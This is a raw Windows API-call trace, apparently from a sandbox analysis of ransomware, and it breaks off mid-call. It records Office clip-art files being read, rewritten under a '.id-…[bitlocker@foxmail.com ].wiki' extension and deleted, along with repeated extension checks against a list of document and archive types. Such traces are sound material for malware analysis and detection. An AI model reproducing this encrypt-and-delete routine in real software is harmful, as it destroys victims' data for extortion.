[0191.396] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.396] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.396] SetEndOfFile (hFile=0x218) returned 1 [0191.396] CloseHandle (hObject=0x218) returned 1 [0191.396] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.397] SetEndOfFile (hFile=0x1d8) returned 1 [0191.400] CloseHandle (hObject=0x1d8) returned 1 [0191.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0191.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0191.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0191.401] lstrlenW (lpString=".doc") returned 4 [0191.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.401] lstrlenW (lpString=".docx") returned 5 [0191.401] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0191.401] lstrlenW (lpString=".pdf") returned 4 [0191.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.401] lstrlenW (lpString=".xls") returned 4 [0191.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.401] lstrlenW (lpString=".xlsx") returned 5 [0191.401] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0191.401] lstrlenW (lpString=".ppt") returned 4 [0191.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0191.401] lstrlenW (lpString=".zip") returned 4 [0191.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.401] lstrlenW (lpString=".rar") returned 4 [0191.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.401] lstrlenW (lpString=".bz2") returned 4 [0191.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.402] lstrlenW (lpString=".7z") returned 3 [0191.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0191.402] lstrlenW (lpString=".dbf") returned 4 [0191.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0191.402] lstrlenW (lpString=".1cd") returned 4 [0191.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0191.402] lstrlenW (lpString=".jpg") returned 4 [0191.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0191.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0191.402] lstrlenW (lpString=".doc") returned 4 [0191.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.402] lstrlenW (lpString=".docx") returned 5 [0191.402] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0191.402] lstrlenW (lpString=".pdf") returned 4 [0191.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.402] lstrlenW (lpString=".xls") returned 4 [0191.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.402] lstrlenW (lpString=".xlsx") returned 5 [0191.402] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0191.402] lstrlenW (lpString=".ppt") returned 4 [0191.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0191.402] lstrlenW (lpString=".zip") returned 4 [0191.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.402] lstrlenW (lpString=".rar") returned 4 [0191.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.402] lstrlenW (lpString=".bz2") returned 4 [0191.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.402] lstrlenW (lpString=".7z") returned 3 [0191.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0191.403] lstrlenW (lpString=".dbf") returned 4 [0191.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0191.403] lstrlenW (lpString=".1cd") returned 4 [0191.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0191.403] lstrlenW (lpString=".jpg") returned 4 [0191.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.403] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0191.403] lstrlenW (lpString="J0099187.JPG") returned 12 [0191.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.406] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=24528) returned 1 [0191.406] CloseHandle (hObject=0x1d8) returned 1 [0191.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 0x20 [0191.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.406] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.406] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0191.407] GetLastError () returned 0x0 [0191.407] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x5fd0, lpOverlapped=0x0) returned 1 [0191.779] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x5fe0, lpOverlapped=0x0) returned 1 [0191.780] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.780] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.780] SetEndOfFile (hFile=0x218) returned 1 [0191.780] CloseHandle (hObject=0x218) returned 1 [0191.780] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.780] SetEndOfFile (hFile=0x1d8) returned 1 [0191.781] CloseHandle (hObject=0x1d8) returned 1 [0191.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0191.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0191.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0191.782] lstrlenW (lpString=".doc") returned 4 [0191.782] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.782] lstrlenW (lpString=".docx") returned 5 [0191.782] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0191.782] lstrlenW (lpString=".pdf") returned 4 [0191.782] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.782] lstrlenW (lpString=".xls") returned 4 [0191.782] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.782] lstrlenW (lpString=".xlsx") returned 5 [0191.782] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0191.782] lstrlenW (lpString=".ppt") returned 4 [0191.782] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0191.782] lstrlenW (lpString=".zip") returned 4 [0191.782] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.782] lstrlenW (lpString=".rar") returned 4 [0191.782] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.782] lstrlenW (lpString=".bz2") returned 4 [0191.782] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.782] lstrlenW (lpString=".7z") returned 3 [0191.782] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0191.782] lstrlenW (lpString=".dbf") returned 4 [0191.782] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0191.782] lstrlenW (lpString=".1cd") returned 4 [0191.782] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0191.782] lstrlenW (lpString=".jpg") returned 4 [0191.782] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0191.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0191.783] lstrlenW (lpString=".doc") returned 4 [0191.783] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.783] lstrlenW (lpString=".docx") returned 5 [0191.783] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0191.783] lstrlenW (lpString=".pdf") returned 4 [0191.783] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.783] lstrlenW (lpString=".xls") returned 4 [0191.783] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.783] lstrlenW (lpString=".xlsx") returned 5 [0191.783] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0191.783] lstrlenW (lpString=".ppt") returned 4 [0191.783] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0191.783] lstrlenW (lpString=".zip") returned 4 [0191.783] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.783] lstrlenW (lpString=".rar") returned 4 [0191.783] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.783] lstrlenW (lpString=".bz2") returned 4 [0191.783] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.783] lstrlenW (lpString=".7z") returned 3 [0191.783] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0191.783] lstrlenW (lpString=".dbf") returned 4 [0191.783] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0191.783] lstrlenW (lpString=".1cd") returned 4 [0191.783] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0191.783] lstrlenW (lpString=".jpg") returned 4 [0191.783] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.784] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0191.784] lstrlenW (lpString="J0099196.GIF") returned 12 [0191.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.784] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=14337) returned 1 [0191.784] CloseHandle (hObject=0x1d8) returned 1 [0191.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 0x20 [0191.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.784] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.785] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0191.785] GetLastError () returned 0x0 [0191.785] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3801, lpOverlapped=0x0) returned 1 [0191.797] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3810, lpOverlapped=0x0) returned 1 [0191.798] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.798] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.799] SetEndOfFile (hFile=0x218) returned 1 [0191.799] CloseHandle (hObject=0x218) returned 1 [0191.799] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.799] SetEndOfFile (hFile=0x1d8) returned 1 [0191.800] CloseHandle (hObject=0x1d8) returned 1 [0191.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0191.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0191.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0191.800] lstrlenW (lpString=".doc") returned 4 [0191.800] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.800] lstrlenW (lpString=".docx") returned 5 [0191.800] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0191.800] lstrlenW (lpString=".pdf") returned 4 [0191.800] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.800] lstrlenW (lpString=".xls") returned 4 [0191.800] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.800] lstrlenW (lpString=".xlsx") returned 5 [0191.800] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0191.800] lstrlenW (lpString=".ppt") returned 4 [0191.801] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0191.801] lstrlenW (lpString=".zip") returned 4 [0191.801] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.801] lstrlenW (lpString=".rar") returned 4 [0191.801] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.801] lstrlenW (lpString=".bz2") returned 4 [0191.801] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.801] lstrlenW (lpString=".7z") returned 3 [0191.801] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0191.801] lstrlenW (lpString=".dbf") returned 4 [0191.801] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0191.801] lstrlenW (lpString=".1cd") returned 4 [0191.801] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0191.801] lstrlenW (lpString=".jpg") returned 4 [0191.801] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0191.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0191.801] lstrlenW (lpString=".doc") returned 4 [0191.801] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.801] lstrlenW (lpString=".docx") returned 5 [0191.801] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0191.801] lstrlenW (lpString=".pdf") returned 4 [0191.801] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.801] lstrlenW (lpString=".xls") returned 4 [0191.801] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.801] lstrlenW (lpString=".xlsx") returned 5 [0191.801] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0191.801] lstrlenW (lpString=".ppt") returned 4 [0191.802] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0191.802] lstrlenW (lpString=".zip") returned 4 [0191.802] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.802] lstrlenW (lpString=".rar") returned 4 [0191.802] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.802] lstrlenW (lpString=".bz2") returned 4 [0191.802] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.802] lstrlenW (lpString=".7z") returned 3 [0191.802] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0191.802] lstrlenW (lpString=".dbf") returned 4 [0191.802] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0191.802] lstrlenW (lpString=".1cd") returned 4 [0191.802] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0191.802] lstrlenW (lpString=".jpg") returned 4 [0191.802] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.802] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0191.802] lstrlenW (lpString="J0099198.GIF") returned 12 [0191.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.803] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5259) returned 1 [0191.803] CloseHandle (hObject=0x1d8) returned 1 [0191.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 0x20 [0191.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.803] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.803] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0191.804] GetLastError () returned 0x0 [0191.804] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x148b, lpOverlapped=0x0) returned 1 [0191.813] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1490, lpOverlapped=0x0) returned 1 [0191.816] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.816] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.816] SetEndOfFile (hFile=0x218) returned 1 [0191.816] CloseHandle (hObject=0x218) returned 1 [0191.816] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, 